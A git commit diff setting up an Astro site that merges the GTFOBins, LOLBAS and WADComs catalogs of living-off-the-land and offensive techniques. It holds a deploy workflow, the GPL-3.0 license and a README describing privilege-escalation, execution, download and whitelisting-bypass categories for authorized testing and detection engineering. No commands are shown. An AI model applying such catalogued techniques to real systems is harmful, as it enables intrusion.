commit 849e5dac7b9c47108397451a9b50bc4d6e150321
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Thu, 3 Sep 2026 06:38:14 +0100
DÆMONBins: merged GTFOBins × LOLBAS × WADComs catalog (Astro + Pagefind)
Diffstat:
66 files changed, 16018 insertions(+), 0 deletions(-)
diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml
@@ -0,0 +1,46 @@
+name: Deploy to GitHub Pages
+
+on:
+ push:
+ branches: [main]
+ workflow_dispatch:
+
+permissions:
+ contents: read
+ pages: write
+ id-token: write
+
+concurrency:
+ group: pages
+ cancel-in-progress: true
+
+jobs:
+ build:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout
+ uses: actions/checkout@v4
+ - name: Setup Node
+ uses: actions/setup-node@v4
+ with:
+ node-version: 22
+ cache: npm
+ - name: Install
+ run: npm ci
+ - name: Build (Astro + Pagefind)
+ run: npm run build
+ - name: Upload artifact
+ uses: actions/upload-pages-artifact@v3
+ with:
+ path: dist
+
+ deploy:
+ needs: build
+ runs-on: ubuntu-latest
+ environment:
+ name: github-pages
+ url: ${{ steps.deployment.outputs.page_url }}
+ steps:
+ - name: Deploy
+ id: deployment
+ uses: actions/deploy-pages@v4
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,10 @@
+node_modules/
+dist/
+.astro/
+.DS_Store
+*.log
+# Pagefind output lives in dist/, ignore any stray root copy
+/pagefind/
+# Pagefind index copied into public/ so the dev server can serve it
+/public/pagefind/
+.playwright-mcp/
diff --git a/.gitmodules b/.gitmodules
@@ -0,0 +1,9 @@
+[submodule "vendor/gtfobins"]
+ path = vendor/gtfobins
+ url = https://github.com/GTFOBins/GTFOBins.github.io.git
+[submodule "vendor/lolbas"]
+ path = vendor/lolbas
+ url = https://github.com/LOLBAS-Project/LOLBAS.git
+[submodule "vendor/wadcoms"]
+ path = vendor/wadcoms
+ url = https://github.com/WADComs/WADComs.github.io.git
diff --git a/LICENSE b/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ <program> Copyright (C) <year> <name of author>
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.
diff --git a/README.md b/README.md
@@ -0,0 +1,116 @@
+<div align="center">
+
+# ☧ DÆMONBins
+
+### the Off-the-Land Almanac
+
+*GTFOBins × LOLBAS × WADComs — merged, resynced, and extended into one filterable catalog.*
+
+<br>
+
+[](./LICENSE)
+[](https://astro.build)
+[](https://pagefind.app)
+[](https://daemon-404.github.io/daemon-sec-lotl/)
+[](https://rosepinetheme.com)
+
+[](https://daemon-404.github.io/daemon-sec-lotl/catalog)
+[](https://daemon-404.github.io/daemon-sec-lotl/catalog)
+[](https://daemon-404.github.io/daemon-sec-lotl/daemon)
+[](#the-four-decks)
+
+**[ Open the catalog → ](https://daemon-404.github.io/daemon-sec-lotl/catalog)**
+
+</div>
+
+---
+
+A static [Astro](https://astro.build) site with [Pagefind](https://pagefind.app) search, in the
+visual language of [daemon-sec.xyz](https://daemon-sec.xyz). Every living-off-the-land and
+offensive technique from three public references is flattened to one filterable atom — a
+**Technique** — and filterable by **platform**, **capability**, and **source**, with a NEW-only
+toggle and shareable URL-state filters. Rows expand to the command, MITRE ATT&CK mapping,
+detection, and references; per-tool pages group a binary's techniques.
+
+All three upstreams are GPL-3.0, so this combined work is **GPL-3.0**. See
+[`THIRD_PARTY_NOTICES.md`](./THIRD_PARTY_NOTICES.md) and [`LICENSE`](./LICENSE).
+
+## ❀ The four decks
+
+| Deck | Source | Techniques | What it is |
+|---|---|--:|---|
+| 🩵 **GTFOBins** | `acd5246` | 2,125 | Unix binaries abused for shell, file r/w, and SUID / sudo / capabilities privesc |
+| 💜 **LOLBAS** | `7aca936` | 481 | Windows living-off-the-land binaries, scripts & libraries; execute, download, AWL bypass |
+| 💛 **WADComs** | `a864cd1` | 100 | Offensive Windows / Active Directory tooling, indexed by what access you hold |
+| ❤️ **DÆMON** | *authored* | 179 | 134 fact-checked WADComs additions + a 45-entry modern 2024–2026 backlog, each badged **NEW** |
+| | **Total** | **2,885** | **814 tools · all Zod-validated** |
+
+Everything is placeholder-only reference material (lab IPs, `test.local`, `john` / `password123`)
+in the spirit of GTFOBins, LOLBAS, WADComs and MITRE ATT&CK.
+
+## ☧ Layout
+
+```
+vendor/{gtfobins,lolbas,wadcoms} the three upstreams (vendored; see setup-vendor.sh)
+scripts/build-dataset.mjs local ingestion → src/data/*.json + public/data
+src/data/techniques.json the canonical, committed dataset (a Technique[])
+src/data/tools.json per-tool metadata (aliases, Full_Path, contributors)
+src/data/facets.json derived facet indexes + counts + upstream commits
+src/data/daemon-backlog.json the DÆMON §7 modernization backlog (source for `npm run data`)
+src/pages/ home · /catalog · /<deck> · /<deck>/<tool> · credits · 404
+src/scripts/catalog.ts the vanilla-TS faceted-filter island
+src/lib/{taxonomy,techniques,highlight,url}.ts shared vocabulary + pure logic
+src/styles, src/components, src/fonts design system (cloned from the cheatsheet)
+```
+
+Routing is by toolId **namespace** (`gtfo:`/`lolbas:`/`wadcoms:`/`daemon:`), so a tool always
+resolves to one page even when a family mixes upstream and DÆMON-authored techniques; a
+per-technique NEW badge conveys authorship.
+
+## 🩵 Develop
+
+```bash
+npm install
+npm run data # regenerate the dataset from vendor/ + the WADComs additions + the backlog
+npm run dev # local dev server
+npm run build # astro build + pagefind index → dist/
+npm run preview # serve the production build
+```
+
+`npm run build` (what CI runs) only consumes the committed `src/data/techniques.json`; it never
+re-runs ingestion, so there is no cross-repo dependency at deploy time.
+
+## 💛 Regenerating the dataset
+
+`npm run data` reads the vendored upstreams, the daemon-sec WADComs additions
+(`../daemon-sec/client/src/data/tools/wadcoms.ts`, the `WADCOMS_ENTRIES` with `added: true`), and
+`src/data/daemon-backlog.json`. It normalizes everything to the unified `Technique` model,
+validates every record with Zod (failing on any bad or duplicate record), and writes
+`src/data/{techniques,tools,facets}.json` plus `public/data/techniques.json`. Commit the result.
+
+To refresh against the latest upstreams (submodule route):
+
+```bash
+git submodule update --remote vendor/gtfobins vendor/lolbas vendor/wadcoms
+npm run data
+```
+
+## 💜 Deploy
+
+`.github/workflows/deploy.yml` builds on push to `main` and publishes `dist/` to GitHub Pages.
+Set **Settings → Pages → Source: GitHub Actions**. The base path is `/daemon-sec-lotl`
+(`astro.config.mjs`); for a user-root repo or a custom domain, empty the `base` and the `url()`
+helper / `rehypeBaseLinks` become no-ops.
+
+## ❤️ Scope
+
+For authorized testing, CTFs, detection engineering and education only. Know your scope; get
+permission first.
+
+<div align="center">
+
+---
+
+<sub>☧ **DΛΣMӨП//SEC** · built with Astro + Pagefind · themed with Rosé Pine · GPL-3.0 ❀</sub>
+
+</div>
diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md
@@ -0,0 +1,98 @@
+# Third-party notices
+
